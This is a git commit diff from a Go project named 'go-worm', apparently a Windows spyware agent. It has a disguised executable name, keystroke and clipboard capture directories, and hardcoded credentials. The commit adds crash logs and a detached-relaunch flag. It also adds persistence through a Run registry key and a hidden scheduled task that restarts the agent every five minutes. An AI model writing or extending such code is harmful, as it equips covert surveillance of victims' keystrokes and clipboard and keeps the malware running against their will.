feat(agent): add crash logs and watchdog startup

- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API
This commit is contained in:
2026-09-01 20:04:20 +03:00
parent 2ce438852a
commit 36cb847f9e
11 changed files with 458 additions and 8 deletions
+10
View File
@@ -25,7 +25,9 @@ const (
AppDataDir = "win64_mp"
InstalledExeName = "win64_mp.exe"
KeylogSubdir = "keystrokes"
LogsSubdir = "logs"
ClipboardSubdir = "clipboard"
WatchdogTaskName = "win64_mp_watchdog"
DefaultKeylogRetentionDays = 7
AuthUser = "admin"
AuthPass = "blueberries"
@@ -67,6 +69,14 @@ func KeylogDir() (string, error) {
return filepath.Join(base, KeylogSubdir), nil
}
func LogsDir() (string, error) {
base, err := InstallDir()
if err != nil {
return "", err
}
return filepath.Join(base, LogsSubdir), nil
}
func InstallDir() (string, error) {
base, err := os.UserConfigDir()
if err != nil {
+58
View File
@@ -0,0 +1,58 @@
package crashlog
import (
"fmt"
"os"
"path/filepath"
"runtime/debug"
"sync"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
var mu sync.Mutex
// Recover logs a panic and re-raises after writing the crash file.
func Recover() {
if r := recover(); r != nil {
_ = write("panic", fmt.Sprint(r), debug.Stack())
panic(r)
}
}
// RecordPanic writes a recovered panic without exiting (e.g. HTTP handlers).
func RecordPanic(recovered any) {
_ = write("panic", fmt.Sprint(recovered), debug.Stack())
}
// RecordError writes a fatal error before exit.
func RecordError(err error) {
if err == nil {
return
}
_ = write("fatal", err.Error(), debug.Stack())
}
func write(kind, detail string, stack []byte) error {
dir, err := config.LogsDir()
if err != nil {
return err
}
mu.Lock()
defer mu.Unlock()
if err := os.MkdirAll(dir, 0o700); err != nil {
return err
}
name := fmt.Sprintf("crash-%s.log", time.Now().Format("2006-01-02-150405"))
path := filepath.Join(dir, name)
body := fmt.Sprintf(
"time: %s\nversion: %s\nkind: %s\ndetail: %s\n\nstack:\n%s",
time.Now().Format(time.RFC3339Nano),
config.Version,
kind,
detail,
stack,
)
return os.WriteFile(path, []byte(body), 0o600)
}
+38
View File
@@ -0,0 +1,38 @@
package crashlog
import (
"os"
"path/filepath"
"strings"
"testing"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func TestWrite(t *testing.T) {
base := t.TempDir()
t.Setenv("XDG_CONFIG_HOME", base)
t.Setenv("APPDATA", base)
if err := write("test", "boom", []byte("trace")); err != nil {
t.Fatal(err)
}
dir := filepath.Join(base, config.AppDataDir, config.LogsSubdir)
entries, err := os.ReadDir(dir)
if err != nil {
t.Fatal(err)
}
if len(entries) != 1 {
t.Fatalf("entries = %d, want 1", len(entries))
}
data, err := os.ReadFile(filepath.Join(dir, entries[0].Name()))
if err != nil {
t.Fatal(err)
}
text := string(data)
for _, part := range []string{"kind: test", "detail: boom", "trace", config.Version} {
if !strings.Contains(text, part) {
t.Fatalf("log missing %q: %s", part, text)
}
}
}
+2
View File
@@ -8,6 +8,7 @@ import (
"os"
"sort"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
@@ -18,6 +19,7 @@ func RecoverHandler(next http.Handler) http.Handler {
defer func() {
if recovered := recover(); recovered != nil {
Log.Printf("panic %s %s: %v", r.Method, r.URL.Path, recovered)
crashlog.RecordPanic(recovered)
WriteError(w, http.StatusInternalServerError, "internal server error")
}
}()
+9
View File
@@ -0,0 +1,9 @@
package instance
// EnsureRunning starts a detached agent if none is holding the mutex.
func EnsureRunning() error {
if AlreadyRunning() {
return nil
}
return Detach()
}
+2 -2
View File
@@ -216,14 +216,14 @@ func Spec() map[string]any {
},
"/api/v1/startup": map[string]any{
"post": map[string]any{
"summary": "Add agent to Windows startup",
"summary": "Add agent to Windows startup and a 5-minute watchdog task",
"operationId": "enableStartup",
"responses": auth(map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
}),
},
"delete": map[string]any{
"summary": "Remove agent from Windows startup",
"summary": "Remove agent from Windows startup and the watchdog task",
"operationId": "disableStartup",
"responses": auth(map[string]any{
"200": okJSON("Startup state", ref("StartupState")),
+9 -2
View File
@@ -28,7 +28,10 @@ func Enable() error {
return err
}
defer k.Close()
return k.SetStringValue(config.StartupValueName, command)
if err := k.SetStringValue(config.StartupValueName, command); err != nil {
return err
}
return enableWatchdog()
}
// SyncInstalledPath rewrites an existing Run entry to the AppData install path.
@@ -50,9 +53,13 @@ func Disable() error {
defer k.Close()
err = k.DeleteValue(config.StartupValueName)
if errors.Is(err, registry.ErrNotExist) {
_ = disableWatchdog()
return nil
}
return err
if err != nil {
return err
}
return disableWatchdog()
}
func installedCommandLine() (string, error) {
+43
View File
@@ -0,0 +1,43 @@
package startup
import (
"fmt"
"os/exec"
"strings"
"syscall"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
func enableWatchdog() error {
exe, err := config.InstalledExe()
if err != nil {
return err
}
tr := fmt.Sprintf(`"%s" -ensure`, exe)
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
}
func disableWatchdog() error {
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
return nil
}
return err
}
func runSchtasks(args ...string) error {
cmd := exec.Command("schtasks", args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
out, err := cmd.CombinedOutput()
if err != nil {
msg := strings.TrimSpace(string(out))
if msg == "" {
msg = err.Error()
}
return fmt.Errorf("schtasks: %s", msg)
}
return nil
}